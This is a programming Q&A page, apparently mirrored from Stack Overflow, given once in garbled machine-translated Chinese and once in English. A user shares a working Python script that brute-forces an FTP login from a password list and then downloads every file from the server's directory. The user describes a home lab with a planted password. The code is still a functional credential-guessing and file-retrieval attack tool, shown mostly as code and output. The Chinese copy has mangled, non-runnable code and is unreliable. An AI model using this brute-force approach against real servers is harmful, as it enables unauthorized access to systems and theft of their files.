使用Python连接从FTP检索文件 [英] Retrieve file/s from FTP using Python connection
问题描述
我建立了这个简单的工具来暴力破解并连接到ftp服务器上。
$ $ p $ import socket
import ftplib
from ftplib import FTP
port = 21
ip =192.168.1.108
file1 =密码
尝试:
$ = socket.socket()
s.connect((ip,port))
printport,port,is open
moshe = open(file1,'r' )
用于moshe.readlines()中的行:
password = line.strip(\ n)
打印密码
尝试:
ftp = ftplib。 FTP(ip)
ftp.login(NINJA,密码)
print(密码是:,密码)
break
除了ftplib.error_perm:
打印不正确
moshe.close()
除外:
打印端口,端口,已关闭
ftp = FTP (ip)
ftp.login('NINJA',密码)
print文件列表:
files = ftp.dir()
目前该工具有效(我种植的是正确的密码第三在文件列表) - 当我登录我得到这个输出:
端口21打开
123
('PASSWORD IS:','123')
文件列表:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15文件夹
drwxr-xr -x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r - r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r - r-- 1 0 0 565 Jan 17 19:10 try.py
在这里,我想要的是允许用户(我)检索文件或者1个特定的文件或全部 - 但我不知道什么是最简单的方法去做这件事
1或全部的选择本身,我可以这样做(按1来复制所有 - >),但是命令本身只复制一个或全部,如果一个然后基于什么我不知道该怎么做。
编辑:
添加Xendrm向代码建议的内容yealds this:
输入一个数字进行下载或输入0作为所有
0
下载=>文件夹
Traceback(最近一次调用最后一次):
在< module>文件中的第49行/ home / USER / aPython脚本/ BRUT FTP.py
下载(j)
文件/ home / USER / aPython脚本/ BRUT FTP.py,第44行,下载
ftp.retrbinary(RETR+ files [j], f)
文件/usr/lib/python2.7/ftplib.py,第406行,在后缀
conn = self.transfercmd(cmd,rest)
文件/ usr / lib / python2.7 / ftplib.py,第368行,在transfercmd
返回self.ntransfercmd(cmd,rest)[0]
文件/usr/lib/python2.7/ftplib.py ,第331行,在ntransfercmd
resp = self.sendcmd(cmd)
文件/usr/lib/python2.7/ftplib.py,第244行,在sendcmd
return self .getresp()
文件/usr/lib/python2.7/ftplib.py,第219行,在getresp中
提高error_perm,resp
error_perm:550无法打开文件。
好吧,经过多次试验和错误,我发现如何做到这一点。 - 这个脚本会将所选目录中的每个文件都拿出来 - 并没有弄清楚如何从所有子目录中获取所有文件,但这已经足够了 - 将会留在这里供未来的人看到。
from ftplib import FTP
import os#允许我使用os.chdir
port = 21
ip =192.168.1.108
password ='123'
os.chdir(c:/ Users / USER / Desktop / new)#changes活动目录 - 这是下载的文件将被保存到
ftp = FTP(192.168.1.108)
ftp.login('NINJA',密码)
print文件列表:
files = ftp.dir()
directory =/ home / FTP#dir我想下载文件,可以改变或留下用户输入
filematch ='*。*'#在这种情况下任何文件的匹配,可以改变或留给用户输入
ftp.cwd(目录)
用于文件名中ftp.nlst(filematch):#循环 - 寻找匹配文件
fhandle = open(filename,'wb')
print'Getting'+ filename#为了confort的缘故,显示正在检索的文件
ftp.retrbinary('RETR'+ filename,fhandle.write)
fhandle.close()
作为证明,这是从以上代码收到的输出:
文件列表:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15文件夹
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw -r - r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r - r-- 1 0 0 565 Jan 17 19:10 try.py
获取blat.txt
获取try.py
i built this simple tool to brute force and connect to the ftp server
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this
the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.
EDIT: adding what Xendrm suggested to the code yealds this:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.
ok so after much trial and error i found how to do it. - this script will take every file in the chosen directory - didn't figure out how to take all of the files from all of the sub directories as well, but this is more than good enough - will leave here for future people to see.
from ftplib import FTP
import os # allows me to use os.chdir
port=21
ip="192.168.1.108"
password='123'
os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input
ftp.cwd(directory)
for filename in ftp.nlst(filematch): # Loop - looking for matching files
fhandle = open(filename, 'wb')
print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
and as proof, this is the output received from above code:
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py
这篇关于使用Python连接从FTP检索文件的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!